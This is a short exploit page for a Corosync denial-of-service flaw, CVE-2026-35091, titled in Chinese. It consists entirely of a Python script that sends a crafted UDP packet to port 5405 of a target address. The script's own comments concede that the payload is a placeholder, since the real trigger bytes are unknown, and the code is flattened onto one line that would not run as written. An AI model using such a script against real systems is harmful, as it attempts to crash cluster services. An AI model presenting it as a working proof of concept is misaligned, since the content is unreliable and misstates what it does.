CVE-2026-35091 Corosync越界读取导致拒绝服务漏洞

import socket # Proof of Concept for CVE-2026-35091 # This script sends a crafted UDP packet to trigger the out-of-bounds read. # Target: Corosync (Default port 5405) def send_exploit_packet(target_ip, target_port=5405): try: # Create a UDP socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Crafted payload to trigger the vulnerability # Note: Actual specific bytes to trigger the specific return value flaw # would require reverse engineering the binary or detailed analysis. # This represents a malformed token structure. payload = b"\x00\x00\x00\x01" + b"\x41" * 256 sock.sendto(payload, (target_ip, target_port)) print(f"[*] Packet sent to {target_ip}:{target_port}") sock.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") else: send_exploit_packet(sys.argv[1])